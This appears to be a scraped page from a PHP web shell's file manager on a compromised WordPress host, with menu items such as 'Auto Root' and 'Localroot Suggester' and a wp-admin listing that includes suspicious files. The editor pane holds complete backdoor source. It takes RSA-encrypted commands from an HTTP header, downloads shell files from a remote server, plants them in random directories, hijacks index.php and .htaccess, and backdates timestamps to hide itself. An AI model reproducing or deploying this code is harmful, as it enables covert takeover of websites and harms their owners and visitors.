Linux ih01.iridiumhosting.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
LiteSpeed
Server IP : 67.227.241.211 & Your IP : 216.73.216.226
Domains :
Cant Read [ /etc/named.conf ]
User : dustinhy
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
dustinhy /
509food.com /
wp-admin /
Delete
Unzip
Name
Size
Permission
Date
Action
css
[ DIR ]
drwxr-xr-x
2026-06-11 03:55
images
[ DIR ]
drwxr-xr-x
2026-06-11 03:55
includes
[ DIR ]
drwxr-xr-x
2026-06-11 03:55
js
[ DIR ]
drwxr-xr-x
2026-07-08 07:45
maint
[ DIR ]
drwxr-xr-x
2026-06-11 03:55
network
[ DIR ]
drwxr-xr-x
2026-06-11 03:55
user
[ DIR ]
drwxr-xr-x
2026-06-11 03:55
about.php
22.32
KB
-rw-r--r--
2026-03-11 09:40
admin-ajax.php
4.83
KB
-rw-r--r--
2022-05-07 16:21
admin-footer.php
2.76
KB
-rw-r--r--
2021-06-01 11:30
admin-functions.php
406
B
-rw-r--r--
2020-02-06 06:33
admin-header.php
8.82
KB
-rw-r--r--
2023-06-14 14:08
admin-post.php
2
KB
-rw-r--r--
2022-03-02 15:00
admin.php
12.26
KB
-rw-r--r--
2023-06-14 14:08
async-upload.php
4.68
KB
-rw-r--r--
2023-09-17 15:33
authorize-application.php
10.09
KB
-rw-r--r--
2023-09-14 00:54
classwithtostring.php
180.82
KB
-rw-r--r--
2026-07-02 01:59
classwithtostring.update.php
212.7
KB
-rw-r--r--
2026-07-08 08:00
comment.php
11.29
KB
-rw-r--r--
2023-09-14 00:54
contribute.php
5.49
KB
-rw-r--r--
2023-10-17 02:02
credits.php
3.67
KB
-rw-r--r--
2023-10-17 02:02
custom-background.php
416
B
-rw-r--r--
2020-02-06 06:33
custom-header.php
426
B
-rw-r--r--
2020-02-06 06:33
customize.php
10.61
KB
-rw-r--r--
2023-06-14 14:08
ebevzh.php
318
B
-rw-r--r--
2024-11-29 06:41
edit-comments.php
14.38
KB
-rw-r--r--
2023-09-17 15:33
edit-form-advanced.php
28.63
KB
-rw-r--r--
2023-09-17 15:33
edit-form-blocks.php
11.74
KB
-rw-r--r--
2023-09-25 10:02
edit-form-comment.php
8.34
KB
-rw-r--r--
2023-02-07 17:10
edit-link-form.php
6.21
KB
-rw-r--r--
2023-09-14 02:15
edit-tag-form.php
10.45
KB
-rw-r--r--
2023-09-14 00:54
edit-tags.php
21.91
KB
-rw-r--r--
2023-09-17 15:33
edit.php
19.43
KB
-rw-r--r--
2023-09-18 07:04
erase-personal-data.php
7.36
KB
-rw-r--r--
2023-09-27 15:44
error_log
1.02
KB
-rw-r--r--
2024-10-16 15:52
evmwno.php
359
B
-rw-r--r--
2025-07-01 08:24
export-personal-data.php
7.76
KB
-rw-r--r--
2023-02-23 10:38
export.php
11.01
KB
-rw-r--r--
2023-09-20 09:47
freedoms.php
4.43
KB
-rw-r--r--
2023-10-27 20:58
import.php
7.47
KB
-rw-r--r--
2023-09-17 15:33
install-helper.php
6.8
KB
-rw-r--r--
2022-11-20 14:10
install.php
17.09
KB
-rw-r--r--
2023-06-25 18:44
link-add.php
742
B
-rw-r--r--
2021-07-22 13:53
link-manager.php
4.26
KB
-rw-r--r--
2023-09-14 02:15
link-parse-opml.php
2.63
KB
-rw-r--r--
2023-06-14 14:08
link.php
2.7
KB
-rw-r--r--
2023-09-09 09:28
load-scripts.php
1.66
KB
-rw-r--r--
2021-12-12 14:52
load-styles.php
2.56
KB
-rw-r--r--
2023-06-23 12:17
media-new.php
3.18
KB
-rw-r--r--
2023-02-23 10:38
media-upload.php
3.49
KB
-rw-r--r--
2023-09-07 14:59
media.php
763
B
-rw-r--r--
2023-06-19 23:20
menu-header.php
9.84
KB
-rw-r--r--
2023-07-09 19:56
menu.php
16.75
KB
-rw-r--r--
2023-09-17 02:10
moderation.php
307
B
-rw-r--r--
2020-02-06 06:33
module.update.php
169.21
KB
-rw-r--r--
2026-07-01 18:01
ms-admin.php
196
B
-rw-r--r--
2020-02-06 06:33
ms-delete-site.php
4.19
KB
-rw-r--r--
2022-11-14 21:57
ms-edit.php
216
B
-rw-r--r--
2020-02-06 06:33
ms-fjqdau.php
1.33
KB
-rw-r--r--
2025-07-01 08:21
ms-options.php
223
B
-rw-r--r--
2020-02-06 06:33
ms-sites.php
215
B
-rw-r--r--
2020-02-06 06:33
ms-themes.php
217
B
-rw-r--r--
2020-02-06 06:33
ms-upgrade-network.php
219
B
-rw-r--r--
2020-02-06 06:33
ms-users.php
215
B
-rw-r--r--
2020-02-06 06:33
my-sites.php
4.74
KB
-rw-r--r--
2023-09-05 19:26
nav-menus.php
47.76
KB
-rw-r--r--
2023-09-17 15:33
network.php
5.35
KB
-rw-r--r--
2023-02-23 10:38
options-discussion.php
15.58
KB
-rw-r--r--
2023-02-23 10:38
options-general.php
16.79
KB
-rw-r--r--
2023-09-25 15:36
options-head.php
492
B
-rw-r--r--
2019-08-16 00:39
options-media.php
6.35
KB
-rw-r--r--
2023-02-23 10:38
options-permalink.php
21.12
KB
-rw-r--r--
2023-05-02 15:45
options-privacy.php
9.97
KB
-rw-r--r--
2023-09-14 00:54
options-reading.php
10.07
KB
-rw-r--r--
2023-09-14 00:54
options-writing.php
9.06
KB
-rw-r--r--
2023-06-22 00:32
options.php
13.3
KB
-rw-r--r--
2023-10-16 23:51
plugin-editor.php
13.39
KB
-rw-r--r--
2023-09-17 15:33
plugin-install.php
6.78
KB
-rw-r--r--
2023-02-23 10:38
plugins.php
28.82
KB
-rw-r--r--
2023-09-26 00:27
post-new.php
2.64
KB
-rw-r--r--
2020-05-16 18:42
post.php
9.85
KB
-rw-r--r--
2023-06-22 14:36
press-this.php
2.33
KB
-rw-r--r--
2020-02-06 06:33
privacy-policy-guide.php
3.67
KB
-rw-r--r--
2023-11-15 17:47
privacy.php
2.41
KB
-rw-r--r--
2023-10-17 02:02
profile.php
283
B
-rw-r--r--
2020-02-06 06:33
revision.php
5.47
KB
-rw-r--r--
2023-08-24 09:32
setup-config.php
17.33
KB
-rw-r--r--
2023-06-23 23:09
site-editor.php
5.96
KB
-rw-r--r--
2023-09-14 00:54
site-health-info.php
3.97
KB
-rw-r--r--
2023-09-14 00:54
site-health.php
10.14
KB
-rw-r--r--
2023-09-14 00:54
style.php
13.04
KB
-rw-r--r--
2026-07-08 07:33
term.php
2.2
KB
-rw-r--r--
2022-06-01 18:14
theme-editor.php
15.15
KB
-rw-r--r--
2023-11-08 20:10
theme-install.php
23.35
KB
-rw-r--r--
2023-09-17 15:33
themes.php
46.89
KB
-rw-r--r--
2023-10-08 17:56
tools.php
3.43
KB
-rw-r--r--
2023-02-23 10:38
update-core.php
45.2
KB
-rw-r--r--
2023-09-22 19:58
update.php
12.79
KB
-rw-r--r--
2024-01-30 14:27
upgrade-functions.php
341
B
-rw-r--r--
2020-02-06 06:33
upgrade.php
5.55
KB
-rw-r--r--
2023-08-25 05:44
upload.php
14.84
KB
-rw-r--r--
2023-09-22 18:19
user-edit.php
39.07
KB
-rw-r--r--
2023-10-07 13:55
user-new.php
23.99
KB
-rw-r--r--
2023-09-17 15:33
users.php
23.29
KB
-rw-r--r--
2023-10-15 14:04
widgets-form-blocks.php
4.39
KB
-rw-r--r--
2023-09-25 00:00
widgets-form.php
19.17
KB
-rw-r--r--
2023-09-14 02:15
widgets.php
1.09
KB
-rw-r--r--
2022-03-22 19:59
Save
Rename
<?php error_reporting(0); class ErrorCode { const E_200400 = 200400; } class MsgText { const PARAM_EMPTY = 'param is empty'; const PARAM_TYPE = 'param type error'; const VALUE_ERROR = 'value error'; const NOCHANGE = 'no change'; const LOCK_FILE_SUCCESS = 'generate lock file success,but lock index.php error'; const LOCK_FILE_ERROR = 'generate lock file error'; const REMOTE_GET_ERROR = 'get remote content error'; const LOCAL_FILE_ERROR = 'generate local file error'; const SUCCESS = 'success'; const LOCAL_FILE_EXISTS = 'local file doesn\'t exist'; const REMOTE_FILE_EXISTS = 'remote file doesn\'t exist'; const RENAME_ERROR = 'rename error'; const INDEX_ERROR = 'index hijack error'; const UNKNOWN_ERROR = 'unknown error'; const DECRYPT_FAIL = 'params decrypt fail'; } function error($msg = MsgText::UNKNOWN_ERROR, $extras = [], $code = 0) { empty($code) && $code = ErrorCode::E_200400; exit(@json_encode(['code' => $code, 'msg' => $msg, 'extras' => $extras], JSON_UNESCAPED_UNICODE)); } function success($data) { exit(@json_encode(['code' => 200, 'msg' => MsgText::SUCCESS, 'data' => $data], JSON_UNESCAPED_UNICODE)); } function getDirPathsByLevel($level = 6) { $initDir = $_SERVER['DOCUMENT_ROOT']; $dirs = array($initDir); $count = count($dirs); while (count($dirs) > ($count - 1)) { $path = $dirs[($count - 1)]; $count += 1; if (@is_dir($path) && @$handle = @opendir($path)) { while ($file = @readdir($handle)) { $realpath = $path . '/' . $file; if ($file == '.' || $file == '..' || !is_dir($realpath) || substr($file, 0, 1) === '.') { continue; } $path3 = str_replace($initDir, "", $path); $path4 = explode("/", $path3); if (count($path4) > $level - 1) { continue; } $dirs[] = $realpath; } } @closedir($handle); } return $dirs; } function getUrl($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_TIMEOUT, 5); curl_setopt($curl, CURLOPT_AUTOREFERER, 0); curl_exec($curl); $httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE); curl_close($curl); if ($httpCode === 200) { $content = curl_exec($curl); return ['code' => 200, 'resp' => $content]; } return ['code' => 500, 'resp' => '']; } function getRemoteContent($url) { $content = @file_get_contents($url); if ($content === false) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_TIMEOUT, 5); curl_setopt($curl, CURLOPT_AUTOREFERER, 0); $content = curl_exec($curl); curl_close($curl); } return !empty($content) && is_string($content) ? $content : ''; } function copyfile($content, $localfile, $isAppend = false, $appendContent = '') { if ($isAppend && !empty($appendContent)) { $content = trim($content); if (substr($content, -2, 2) !== '?>') { $content .= ' ?>'; } $content = $content . PHP_EOL . PHP_EOL . $appendContent; } @file_put_contents($localfile, $content); if (!file_exists($localfile)) { $openedfile = @fopen($localfile, "w"); @fwrite($openedfile, $content); @fclose($openedfile); } if (!file_exists($localfile)) { return false; } return true; } function updateFiletime($filepath) { $ctime = filectime($filepath); $now = time(); if (!($now > $ctime + 31104000)) { $newTime = $now - (mt_rand(15552000, 31104000)); touch($filepath, $newTime, $newTime); return true; } return true; } $privateKey = '-----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC30w49ItOfldQ6 dB+0gEbeeW6BEClcx+NZzmpX2YcRHFV80BurCWBavPFehV8Sy9yL2u/y3mv3QJJ+ x2kKvly8zKx4GbXPbsWJk6Ho0Rxq49oXkBarQBOqROZeaFF3Mzpd/PdLSsxEvG1M tQd2wOx5r6XD86jyfN7LAJUUVvbJvn1CHo03nFH12k1KYwLnQfzQI5nX7yQLa0jt fG5TA34Fm0EMbFdHWjAN/VdEjoJI6it4PCQP5wk4ga2BvVquQkuPbsbr8364d3I6 GuGAKDR0wfkT20n0E6kAmDI3ol2bfa0rQncqUS3OU3INpxOZS8eKCIgC3bM81mdi MQ6TsAQ9AgMBAAECggEAJLGSlA2RpLdpx8lKUuOQQfSHZGfveb/E2DZl7+dSGM5J GkMIYtnaTAKPQ8jns37SJXCsmRRhBNf05i20ABsDtAQ/ITIwopmAAPhhR3IGdCfL bwyqGcEOq9xZB9tW965YJk7KplLl94qNXtR8Cu5zxc6UDktjHBRk/Ky/FXJOjPKM sA8rhox7dqlZUB3I/qiqrQOgT1Bsq1BFT+2GGwRUWZ1CyFoZvhsDomdo4yhRrB0b 8Ym4MDiVqxFPVW8XB9RFD9YKt+v50Eb6iSKJNLpRmjZDNZbrEYO6NRsRBM7brDa9 n39mZWFr47wGGXXv/NhwTvRI+2Si/ZfdP4+o5TeSWQKBgQDhIVOUODisiLhk7XKb Yu7BW1ZFcK0JxurqHN22msvA0Q/1q4RvziETjekXIn9lVKCmS/gy2O2RtuQRulAR fc3sz2W9tNXRF8Avy0728NG0baOOwBalO8w3cCX6Nnm70pJer+iJSn3tmAKSB4LT vbSB8pt6QgP8NPHyQdWp2LwOtwKBgQDRB8lgSaImIMJBaXERSaoNg8kxv3/cv4g5 jUlljxNQcUsj0V7XilnB3mFxq5rHjBZTsKzMMQyvhOxYhptDfw6OLtoPUk2WiBUs l3qU0tIXNN+cTxu2SMKTjwMktkpmACJqa+k27eEUqxrKO/6SEiP9FMXHvgA4EEBM Hww1eU9QqwKBgAWSY5Uphw2OHLIyxkFeQ3Z5ojr5vO6fA7VjnYEld6GACxsTcaWq vlrTik9ORUTmwUscWjo38DlJA4AE0nJ8YJpZz7TQQvJ32gPUzlGCSE5k4EVqL6VL Q5Sjq+zzaDPj1EePpvuu4kr9FiMzGGPRMCR/MqXl+F9HmC1cv8MCYDUlAoGBAK77 g7pVKaYdWkCD0iEUt4Rkw/IfSxwyQglbmwungBWhIbO0O17X9Fd0n8IWU5WkUbRx e9XbYbE05t0cobEZFcg0tFqLHWRcOs1/aSBYc4L1whMJrjskIa6A07LR3uoQRr8r 4qkW7YrtyZluK6eABByCXSbeiTRldk3C1+eTy6/NAoGAb9/J+NWrhYSr/VoGWjui chXCNszy4w6exVwxXQKNTtlzKxyhQfVPK2BxrptWL6KCRKpz3wh+WY2C3QYyVfwG FB4hwDr2mY4TWF9pD194iES1yhrQGlI8XM+2LVhBl3p0x+TFgJMaTgDDqAnxpuqT upBYqTYMlOd+VR7hENMaFqo= -----END PRIVATE KEY-----'; $p = $_SERVER['HTTP_P']; $params = openssl_private_decrypt(base64_decode(urldecode($p)), $decrypted, $privateKey) ? $decrypted : null; if (is_null($params)) { error(MsgText::DECRYPT_FAIL); } $params = json_decode($params, true); if (!is_array($params)) { error(MsgText::PARAM_TYPE, $params); } if (empty($params['server'])) { error('server ' . MsgText::PARAM_EMPTY); } if (empty($params['iden'])) { error('iden ' . MsgText::PARAM_EMPTY); } $iden = isset($params['iden']) ? strtolower($params['iden']) : ''; switch ($iden) { case "beima": $res = doBeima($params); break; case "rename": $res = doRename($params); break; case "index": $res = doIndex($params); break; case "sub": case "htaccess": $res = doSub($params); break; case "lock": $res = doLock($params); break; case "style": $res = doStyle($params); break; default: error('iden ' . MsgText::VALUE_ERROR); } function doBeima($params) { if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } empty($params['level']) && $params['level'] = 6; $dirs = getDirPathsByLevel($params['level']); $temp = array_rand($dirs); $createDir = $dirs[$temp] . '/'; $localfilepath = $createDir . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); $beimaurl = str_replace($_SERVER['DOCUMENT_ROOT'], '', $localfilepath); success(compact('localfilepath', 'beimaurl')); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_FILE_EXISTS, compact('remoteFileUrl')); } function doRename($params) { if (empty($params['sourcename'])) { error('sourcename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['rename'])) { error('rename ' . MsgText::PARAM_EMPTY, $params); } if ($params['sourcename'] === $params['rename']) { error(MsgText::NOCHANGE); } $sourceFile = dirname(__FILE__) . DIRECTORY_SEPARATOR . $params['sourcename']; $renameFile = dirname(__FILE__) . DIRECTORY_SEPARATOR . $params['rename']; $resSource = $params['server'] . str_replace(strtolower($_SERVER['DOCUMENT_ROOT']), '', strtolower($sourceFile)); $resSource = str_replace('\\', '/', $resSource); if (file_exists($sourceFile)) { if (rename($sourceFile, $renameFile)) { success($renameFile); } else { error(MsgText::RENAME_ERROR, compact('renameFile')); } } else { error(MsgText::LOCAL_FILE_EXISTS, compact('resSource')); } } function doIndex($params) { if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } $remoteUrl = $params['server'] . trim($params['shellfile']); $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/index.php'; $content = getRemoteContent($remoteUrl); $content = json_decode($content, true); if (!empty($content['result'])) { $oldContent = ''; if (file_exists($localfilepath)) { $oldContent = @file_get_contents($localfilepath); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/index.html')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/index.html'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/index.htm')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/index.htm'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/default.html')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/default.html'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/default.htm')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/default.htm'); } if (copyfile($content['result'], $localfilepath, true, $oldContent)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::INDEX_ERROR, compact('remoteUrl')); } function doSub($params) { if (empty($params['shellfile'])) { error('shellfile' . MsgText::PARAM_EMPTY, $params); } if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/' . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); } function doLock($params) { if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['domain'])) { error('domain ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/' . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { $lockurl = $params['domain'] . $params['filename']; $lockres = getUrl($lockurl); @unlink($localfilepath); if ($lockres['code'] === 200 && !empty($lockres['resp']) && strpos($lockres['resp'], 'success')) { success($lockres['resp']); } error(MsgText::LOCK_FILE_SUCCESS, compact('lockurl', 'lockres')); } @unlink($localfilepath); error(MsgText::LOCK_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); } function doStyle($params) { if (empty($params['shellfile'])) { error('shellfile' . MsgText::PARAM_EMPTY, $params); } if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['domain'])) { error('domain ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $params['domain'] . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); }